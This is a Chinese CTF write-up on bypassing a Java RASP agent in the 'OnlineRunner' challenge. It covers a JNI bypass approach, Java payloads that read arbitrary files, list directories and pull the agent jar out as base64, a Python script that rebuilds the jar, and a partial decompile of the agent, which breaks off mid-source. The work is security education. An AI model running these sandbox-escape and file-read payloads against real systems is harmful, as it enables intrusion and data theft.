JAVA绕过RASP

RASP 全称为 Run­time Ap­pli­ca­tion Self-Pro­tec­tion,实时程序自我保护。RASP 通常嵌入在程序内部,具备实时监控危险函数调用,并阻止该危险调用的功能。与传统 WAF 对比, RASP 实现更为底层,规则制定更为简单,攻击行为识别更为精准。

Java RASP 通常使用 java agent 技术实现。使用时仅需要将其作为 javaagent 加载即可:

java -javaagent:agent.jar -jar web.jar

根据 RASP 不同的实现,通常有两种方法绕过:

  1. 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
  2. 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过

通过 JNI 绕过 RASP

JNI(Java Native Interface)是 Java 提供的一种机制,用于在 Java 程序中调用本地(Native)代码,即使用其他语言(如C、C++)编写的代码,从而可以充分利用本地代码的功能和性能优势,实现对底层系统资源和外部库的访问。

JNI 基本使用

  1. 编写一个 java 文件,其中定义一个 native 方法,然后使用 javac 编译得到 .class 文件
  2. 使用 javah 进行对 .class 文件进行处理,得到编写 C 代码所需的头文件。
  3. 编写命令执行的 C 语言实现
  4. 将编写的 C 代码编译为 lib 或者 dll(注意jdk版本要与目标机器的jdk保持一致)
  5. 编写一个 Java 类调用 System.loadLibrary 方法加载 dll 文件。

强网拟态OnlineRunner

题目想要在不 import 任何类的情况下完成攻击。这里应该有两个思路

1、直接不 import 打,尝试如下 payload 失败

try {
            Process process = java.lang.Runtime.getRuntime().exec("echo 123");
            java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }

主要是因为题目的 Main 类没有抛出异常。目前可以使用这个 Payload 任意文件读取

try {
            java.io.FileReader fr = new java.io.FileReader("/proc/1/cmdline");
            java.io.BufferedReader br = new java.io.BufferedReader(fr);
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }

得到

java--add-opens=java.base/java.lang=ALL-UNNAMED-javaagent:/home/ctf/sandbox/lib/sandbox-agent.jar-jar/app/app.jar--server.port=80

我们先列目录:

java.io.File folder = new java.io.File("/");
        java.io.File[] listOfFiles = folder.listFiles();

        if (listOfFiles != null) {
            for (java.io.File file : listOfFiles) {
                if (file.isFile()) {
                    System.out.println("File: " + file.getName());
                } else if (file.isDirectory()) {
                    System.out.println("Directory: " + file.getName());
                }
            }
        } else {
            System.out.println("The directory does not exist or is not a directory.");
        }

发现要执行/readflag,以当前的 payload 没有办法很好地拿到 app.jar 的内容,于是用这个 payload 来看看 jar 包中都有什么,一步步想办法去读题目的实例类

try {
    java.util.zip.ZipInputStream zis = new java.util.zip.ZipInputStream(new java.io.FileInputStream("/app/app.jar"));
    java.util.zip.ZipEntry entry;
    while ((entry = zis.getNextEntry()) != null) {
        System.out.println(entry.getName());
        zis.closeEntry();
    }
    zis.close();
} catch (java.io.IOException e) {
    e.printStackTrace();
}

发现这里有个 agent.jar,说明要绕rasp
下载agent查看源码

try {
    java.io.File file = new java.io.File("/home/ctf/sandbox/lib/sandbox-agent.jar"); // 需要读取的二进制文件

    java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file));
            byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区
            int bytesRead;

            while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取
                // 处理读取的数据(这里可以进行打印、处理等)
                //System.out.write(buffer, 0, bytesRead);
System.out.print('"');
                System.out.print(java.util.Base64.getEncoder().encodeToString(buffer));
System.out.println("\",");

            }


        } catch (
java.io.IOException e) {
            e.printStackTrace();
        }

python脚本写入jar包

import base64

data = ["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"]

with open("agent.jar", "ab+") as f:
    for i in data:
        f.write(base64.b64decode(i))

源码如下

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  

package com.alibaba.jvm.sandbox.agent;  

import java.io.File;  
import java.io.FileWriter;  
import java.io.IOException;  
import java.lang.instrument.Instrumentation;  
import java.net.InetSocketAddress;  
import java.util.LinkedHashMap;  
import java.util.Map;  
import java.util.concurrent.ConcurrentHashMap;  
import java.util.jar.JarFile;  
import java.util.regex.Matcher;  
import java.util.regex.Pattern;  

public class AgentLauncher {  
    private static final String DEFAULT_SANDBOX_HOME = (new File(AgentLauncher.class.getProtectionDomain().getCodeSource().getLocation().getFile())).getParentFile().getParent();  
    private static final String SANDBOX_USER_MODULE_PATH;  
    private static final String LAUNCH_MODE_AGENT = "agent";  
    private static final String LAUNCH_MODE_ATTACH = "attach";  
    private static String LAUNCH_MODE;  
    private static final String RESULT_FILE_PATH;  
    private static final Map<String, SandboxClassLoader> sandboxClassLoaderMap;  
    private static final String CLASS_OF_CORE_CONFIGURE = "com.alibaba.jvm.sandbox.core.CoreConfigure";  
    private static final String CLASS_OF_PROXY_CORE_SERVER = "com.alibaba.jvm.sandbox.core.server.ProxyCoreServer";  
    private static final String EMPTY_STRING = "";  
    private static final String KEY_SANDBOX_HOME = "home";  
    private static final String KEY_NAMESPACE = "namespace";  
    private static final String DEFAULT_NAMESPACE = "default";  
    private static final String KEY_SERVER_IP = "server.ip";  
    private static final String DEFAULT_IP = "0.0.0.0";  
    private static final String KEY_SERVER_PORT = "server.port";  
    private static final String DEFAULT_PORT = "0";  
    private static final String KEY_TOKEN = "token";  
    private static final String DEFAULT_TOKEN = "";  
    private static final String KEY_PROPERTIES_FILE_PATH = "prop";  
    private static final String OS;  

    public AgentLauncher() {  
    }  

    private static String getSandboxCfgPath(String sandboxHome) {  
        return sandboxHome + File.separatorChar + "cfg";  
    }  

    private static String getSandboxModulePath(String sandboxHome) {  
        return sandboxHome + File.separatorChar + "module";  
    }  

    private static String getSandboxCoreJarPath(String sandboxHome) {  
        return sandboxHome + File.separatorChar + "lib" + File.separator + "sandbox-core.jar";  
    }  

    private static String getSandboxSpyJarPath(String sandboxHome) {  
        return sandboxHome + File.separatorChar + "lib" + File.separator + "sandbox-spy.jar";  
    }  

    private static String getSandboxPropertiesPath(String sandboxHome) {  
        String var10000 = getSandboxCfgPath(sandboxHome);  
        return var10000 + File.separator + "sandbox.properties";  
    }  

    private static String getSandboxProviderPath(String sandboxHome) {  
        return sandboxHome + File.separatorChar + "provider";  
    }  

    public static void premain(String featureString, Instrumentation inst) {  
        LAUNCH_MODE = "agent";  
        install(toFeatureMap(featureString), inst);  
    }  

    public static void agentmain(String featureString, Instrumentation inst) {  
        LAUNCH_MODE = "attach";  
